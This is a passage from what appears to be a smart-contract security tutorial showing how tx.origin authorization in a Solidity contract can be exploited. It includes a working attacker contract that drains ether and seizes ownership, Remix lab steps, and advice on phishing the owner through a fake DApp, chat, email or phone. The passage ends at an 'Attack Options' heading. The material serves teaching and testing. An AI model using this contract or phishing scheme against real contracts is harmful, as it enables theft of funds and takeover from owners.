2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">25.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">26.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(msg.sender == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">27.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">28.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l1 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">29.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><span face=""Calibri Light",sans-serif" style="color: #2f5496; font-size: 16pt; line-height: 107%; mso-ascii-theme-font: major-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-bidi; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-fareast; mso-hansi-theme-font: major-latin; mso-themecolor: accent1; mso-themeshade: 191;"><o:p></o:p></span></p>
<p class="MsoNormal">Above is an example of a contract which uses tx.origin to
check for user authorization. On lines 16 and 21 you will see that in order to
transfer contract funds or change the owner of the contract, you need to be the
owner of the contract. This check uses the tx.origin value. The owner which is
checked is set in the constructor on line 8 when the contract is deployed. <o:p></o:p></p>
<p class="MsoNormal">Also note that there is a kill function at line 25 using
Solidity’s built-in self-destruct function. This function will destroy the
contract making it unusable and send any remaining contract ether to the
address specified. This function is using authorization checks against the
owner via the msg.sender rather than the tx.origin. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h3 style="text-align: left;">Action steps to familiarize yourself with the contract:</h3><p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l13 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Type the code above into Remix and deploy it<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l13 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Change the value field to 10 and the
denomination to ether<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l13 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Deposit the 10 ether with the deposit function. <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l13 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Switch accounts and try to run changeOwner, Kill
and transferTo functionality<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l13 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Try the same thing with the original account<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l13 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Try to deposit funds again<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">In your action steps and exploration of the contract you
will notice that these functions do not run properly with the second account as
you are not the owner of the contract when using the second account. You will
also notice that these did run properly when used with the first account that
deployed the contract as this user was set to the owner when deployed. You will
also notice that when you ran the kill function it rendered the contract
unusable and your funds were returned to your account from the initial deposit.
<o:p></o:p></p>
<p class="MsoNormal">Now that we are familiar with the contracts functionality
and we know that it is dangerously checking authorization using tx.origin<span style="mso-spacerun: yes;"> </span>on both the transferTo and changeOwner
functions. What would we do to attack this?<o:p></o:p></p>
<p class="MsoNormal">In order to formulate an attack, we will use a standard
phishing style attack via social engineering. Exactly the same as if we were
contracted to perform social engineering on a penetration test, however the
malicious site that we send our victim communicates with our malicious smart contract
on the backend as a proxy into the vulnerable contract for example using a decentralized
web application (DAP) that makes web3.js calls. We used web3.js calls in an earlier
chapter when directly making calls to a contract. <o:p></o:p></p>
<p class="MsoNormal">How we attack this would depend on our motivations as an
attacker. We could simply trick the contract owner into running functionality
on our malicious contract which then transfers all of the funds out of the
contract to the attacker’s wallet. The owner may not even notice this attack
took place until he had issues with account balances. He may not even realize
when and how it happened depending on how you orchestrate your attack. We could
also take control of the whole contract and become the owner of the contract
which would provide us with unfettered access to sensitive functionality at any
time. <o:p></o:p></p>
<p class="MsoNormal">Let’s take a look at a malicious smart contract that could
transfer out all of the funds and additionally give use full administrative
control of the contract. Generally, in a live attack scenario we would code a
pretty looking DAP page around this attacker’s contract with Web3.js much like
in a phishing engagement.<o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;">pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;">interface</span><span style="color: white;"> targetInterface {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;">function</span><span style="color: white;"> transferTo(address payable to, </span><span style="color: #e28964;">uint</span><span style="color: white;"> amount)<span style="mso-spacerun: yes;"> </span>payable external;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;">function</span><span style="color: white;"> changeOwner(address newOwner) external;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: #e28964;">function</span><span style="color: white;"> kill() external;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;">contract </span><span style="color: #89bdff;">PhishingBankOfEther</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address payable attackerAddress;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>attackerAddress = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>targetInterface bankInterface = targetInterface(ADDRESS);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: #e28964;"><span style="mso-spacerun: yes;"> </span>function</span><span style="color: white;"> test () payable </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span>bankInterface.transferTo(attackerAddress, </span><span style="color: indianred;">1</span><span style="color: white;"> ether);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span>bankInterface.changeOwner(attackerAddress);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l10 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">Most of this contract above is setting up the target
interface, so this should be pretty easy to follow if you read through the
section on Reentrancy where we setup an interface in our attacking contract.<span style="mso-spacerun: yes;"> </span>But just to review an interface is a way that
we can call functions from another contract via its address and function names.
For example, on lines 3-6 we create an interface and simply copy paste the
function definitions from our target contract into our interface definition.
That’s it.<span style="mso-spacerun: yes;"> </span>And then we take that target
interface we created and point it at the address of the target contract on line
16 with the name bankInterface. That is really the only thing we are doing for
75% of this contract. Nothing new or scary. <o:p></o:p></p>
<p class="MsoNormal">At this point we can use the bankInterface variable to access
functionality within the target contract from our attacking contract.<span style="mso-spacerun: yes;"> </span>Pretty simple right?<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">Now the actual meat of this attacking contract is within
lines 18-20 where we have a test function which calls the transferTo and
changeOwner functions we do not have access to as a non-owner. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l9 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Re-deploy the target contract with your first
account on remix<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l9 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Deposit 10 ether into the target contract <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l9 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Copy the address of the target contract via the
copy button on the right side of the deployed contract<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l9 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Within the attacking contract replace the ADDRESS with the copied address from the target<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l9 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Switch to the second account in your list of
accounts<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l9 level1 lfo4; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Deploy this contract and you will see a single
function named test<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Now as before with your attacker’s account you cannot run
functionality which performs authorization checks because the attackers address
is not the owner, so running this test function which changes the owner and
sends 1 ether will not work from the second account.<span style="mso-spacerun: yes;"> </span>However, instead of our attacker running this
functionality directly, the attacker would phish the Owner located on account
one. The phish would use the attacker’s contract which would perform the
actions as the owner due to the incorrect check using tx.origin. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Action steps: <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Switch to the first account <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Try using the transfer function to verify that
its working and that you’re the owner<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Run the test function from the attacker’s
contract with account 1.<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Now try to use that send function again. Did it
work? <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Try to use the kill function. Did that work? <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Now switch to the attackers account and use the
send function. Did that work this time? <o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l6 level1 lfo5; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Now kill the contract from the attackers
account. What happened? <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">So, what happened when you used the test function from the
attacker’s contract? <o:p></o:p></p>
<p class="MsoNormal">The test function called the changeOwner and transferTo
functions from the attacker’s contract. But not as the attacker’s address
because authorization was checked via the Tx.origin which is the person calling
the attacker’s contract (account 1), not the attacker’s contract address
(account 2). <o:p></o:p></p>
<p class="MsoNormal">Even with the phishing contract if we were to call the kill
function from the attacker’s contract it would have failed because it uses the
msg.sender. So, in order to execute kill, we had to use changeOwner and become
the owner of the contract prior to calling the kill function. <o:p></o:p></p>
<p class="MsoNormal">As a result of phishing the owner into using the attacker’s
contract, the attacker is now the owner of this target contract. As such, the
attacker actually can call the kill function directly without any issues and
the original owner has been locked out of administrative functionality.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">Now in real life we, have a couple different options for
attacking this user via a phishing attack over chat, email or even the phone. <o:p></o:p></p>
<h3 style="text-align: left;">Attack Options:</h3><ol start="1" style="margin-top: 0in;" type="1">
